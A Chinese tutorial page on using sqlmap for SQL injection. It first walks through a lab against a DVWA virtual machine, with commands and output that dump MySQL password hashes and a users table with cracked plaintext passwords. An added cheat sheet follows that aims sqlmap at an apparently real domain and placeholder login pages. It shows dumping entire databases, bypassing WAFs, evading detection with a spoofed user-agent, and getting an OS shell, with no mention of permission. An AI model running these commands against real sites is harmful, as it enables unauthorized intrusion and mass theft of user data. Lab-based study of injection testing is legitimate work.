SQL注入之SQLmap入门 (注入检测工具)_安全相关教程-查字典教程网
SQL注入之SQLmap入门 (注入检测工具)
SQL注入之SQLmap入门 (注入检测工具)
发布时间:2017-01-05 来源:查字典编辑
摘要:什么是SQLmap?SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹...

什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/

为了方便大家使用查字典教程网特提供一份无需安装python环境的sqlmap:

SQLmap的作者是谁?

Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过bernardo@sqlmap.org与他取得联系,以及Miroslav Stampar (@stamparm)读者可以通过miroslav@sqlmap.org与他联系。

同时读者也可以通过dev@sqlmap.org与SQLmap的所有开发者联系。

执行SQLmap的命令是什么?

进入sqlmap.py所在的目录,执行以下命令:

#pythonsqlmap.py-h

(译注:选项列表太长了,而且与最新版本有些差异,所以这里不再列出,请读者下载最新版在自己机器上看吧)

SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

如何使用SQLmap:

为方便演示,我们创建两个虚拟机:

1、受害者机器, windows XP操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(DVWA)。

2、攻击器机器,使用Ubuntu 12.04,包含SQLmap程序。

本次实验的目的:使用SQLmap得到以下信息:

3、枚举MYSQL用户名与密码。

4、枚举所有数据库。

5、枚举指定数据库的数据表。

6、枚举指定数据表中的所有用户名与密码。

使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的add-on获取。

当前得到的cookie为“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

为方便演示,我们将DVWA安全等级设置为low:

接下来我们进入页面的“SQL Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:

“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

因此该页面就是我们的目标页面。

以下命令可以用来检索当前数据库和当前用户:

“./sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-b–current-db–current-user”

使用选项:

1、–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”

2、-u : 指定目标URL

3、-b : 获取DBMS banner

4、–current-db : 获取当前数据库

5、–current-user:获取当前用户

结果如下:

可以看到结果如下:

DBMS:MySQLversion5.0 OSversionUbuntu12.04 currentuser:root currentdb:DVWA

以下命令用来枚举所有的DBMS用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”--string=”Surname”--users--password”

使用选项:

1、–string : 当查询可用时用来匹配页面中的字符串

2、–users : 枚举DBMS用户

3、–password : 枚举DBMS用户密码hash

结果如下:

databasemanagementsystemusers[142]: [*]”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*]‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’

数据库管理系统用户和密码hash:

[*]debian-sys-maint[1]: passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A [*]phpmyadmin[1]: passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A [*]root[4]: passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A passwordhash:*C30441E06530498BC86019BF3211B94B3BAB295A

读者可以使用Cain&Abel、John&Ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”--dbs”

使用选项:

–dbs: 枚举DBMS中的数据库

结果如下:

availabledatabases[5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin

下面我们尝试枚举DVWA数据表,执行以下命令:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa--tables”

使用选项:

1、-D : 要枚举的DBMS数据库

2、–tables : 枚举DBMS数据库中的数据表

得到结果如下:

Database:dvwa [2tables] +————+ |guestbook| |users| +————+

下面获取用户表的列,命令如下:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”--cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa-Tusers--columns”

使用选项:

-T : 要枚举的DBMS数据库表

–columns : 枚举DBMS数据库表中的所有列

结果如下:

Database:dvwa Table:users [6columns] +————+————-+ |Column|Type| +————+————-+ |avatar|varchar(70)| |first_name|varchar(15)| |last_name|varchar(15)| |password|varchar(32)| |user|varchar(15)| |user_id|int(6)| +————+————-+

如上所示,以上为我们感兴趣的列,表示用户名与密码等。下面将每一列的内容提取出来。执行以下命令,将用户与密码表中的所有用户名与密码dump出来:

“sqlmap.py-u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low”-Ddvwa-Tusers-Cuser,password--dump”

使用选项:

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

–dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认:

得到所有用户名与明文密码如下:

Database:dvwa Table:users [5entries] +———+———+———————————————+ |user_id|user|password| +———+———+———————————————+ |1|admin|5f4dcc3b5aa765d61d8327deb882cf99(password)| |2|gordonb|e99a18c428cb38d5f260853678922e03(abc123)| |3|1337|8d3533d75ae2c3966d7e0d4fcc69216b(charley)| |4|pablo|0d107d09f5bbe40cade3de5c71e9e9b7(letmein)| |5|smithy|5f4dcc3b5aa765d61d8327deb882cf99(password)| +———+———+———————————————+

这时我们就可以利用admin帐户登录做任何事了。

总结:

SQLmap是一个非常强大的工具,可以用来简化操作,并自动处理SQL注入检测与利用。

[via infosecinstitute]

下面查字典教程网小编为大家分享点实际点的:

mssql access 直接爆表.然后你懂的

BT5里面的话前面就要加python

sqlmap.py -u url --dbs //爆数据库

sqlmap.py -u url --current-db //爆当前库

sqlmap.py -u url --current-user //爆当前用户

sqlmap.py -u url --users 查看用户权限

sqlmap.py -u url --tables -D 数据库 //爆表段

sqlmap.py -u url --columns -T 表段 -D 数据库 //爆字段

sqlmap.py -u url --dump -C 字段 -T 表段 -D 数据库 //猜解

sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 数据库 //猜解1到3的字段

翻回来也可以

sqlmap.py -u url 判断

sqlmap.py -u url --is-dba -v 这是判断当前数据库的使用者是否是dba

sqlmap.py -u url --users -v 0 这句的目的是列举数据库的用户

sqlmap.py -u url --passwords -v 0 这句的目的是获取数据库用户的密码

sqlmap.py -u url --privileges -v 0 这是判断当前的权限

sqlmap.py -u url --dbs -v 0 这句的目的是将所有的数据库列出来

sqlmap.py -u url --tables -D '表' 爆表

sqlmap.py -u url --columns -T ‘表’-D ‘数据库’爆列

sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 这里是查询第2到第4行的内

sqlmap.py -u url --dump -all -v 0

这儿我们将所有的库导出来,我想这就是前段时间盛传的脱裤吧,在执行这项操作的时候,会把所有的表里的内容导入到当前的一个目录下,看着清楚明了,但是花费的时间和很长。

sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用户密码

最近看到很多大牛发sqlmap的视频教程。

然后偶就屁颠屁颠滚去下了一个,然后尼玛,一连从头看到尾。。。。。。各种科普啊,看视频有点浪费时间。

各位别去被坑爹了,来个sqlmap 简易教程算了,何必浪费看视频的时间。

sqlmap 再牛逼也就是个python的脚本,脚本再牛逼也得有–help -hh

所以第一件事当然是滚去看帮助文档。

sqlmap -hh

我操。。。。。。。这么多英文,多少只草泥马在心中奔腾,咋办,硬着头皮看呗,有些人头皮硬不了咋办,简单,来,哥教你简单的

注入分法不同,种类不同,来个简单的分类:

1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”

2.post型:sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”

3.cookie类注入:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2

好,区分完毕再来后续的

需要数据库好:–dbs

得到数据库名称xxx,需要表:-D xxx –tables

得到表名xxxx,需要段:-D xxx -T xxxx –columns

得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump

那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。

–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗

–dump 那自然就是字面意思,类似于导出数据的行为

其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf–tamper=”"

注入被识别出来是工具,断开咋办–user-agent=”"

再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子

好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:

http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入

sqlmap -u “http://www.xxx.com/login.asp” –forms

很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs

于是我用上面的命令看看数据库

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba

顺便看看当前用户是不是dba

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a

用了上面的命令 -a能得到什么呢:自己去看帮助吧。

帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。

后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables

同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell

以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜

与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:

sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all

然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令–batch可以自动选择sqlmap默认选项

于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。

总结下来,帮助文档还是很重要的,多看看,总会有些收获:

为了避免各位看英文看到吐,大概总结下:

Target:字面意思,目标,那么就是确定目标的

Request:字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等

Optimization:字面意思,调节性能,等等

Injection:字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等

Detection:

基本就是用在确认注入范围,寻找注入点区域,这些

Technique:

基本用在确定注入手段,以及攻击方式

Fingerprint:

基本用在指纹识别,用的很少

Enumeration:

枚举信息,主要用在注入中,很重要,很常用

Brute force:

用来爆破,其实主要是枚举tables columns用的

User-defined function injection:

现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点

File system access

主要是文件读取,文件写入

Operating system access

主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击

windowsregistry access

基本就是注册表操作了

General

字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数

Miscellaneous

目测高端应用,还没怎么用过,求大神指教

如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。

字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新安全相关学习
    热门安全相关学习
    软件教程子分类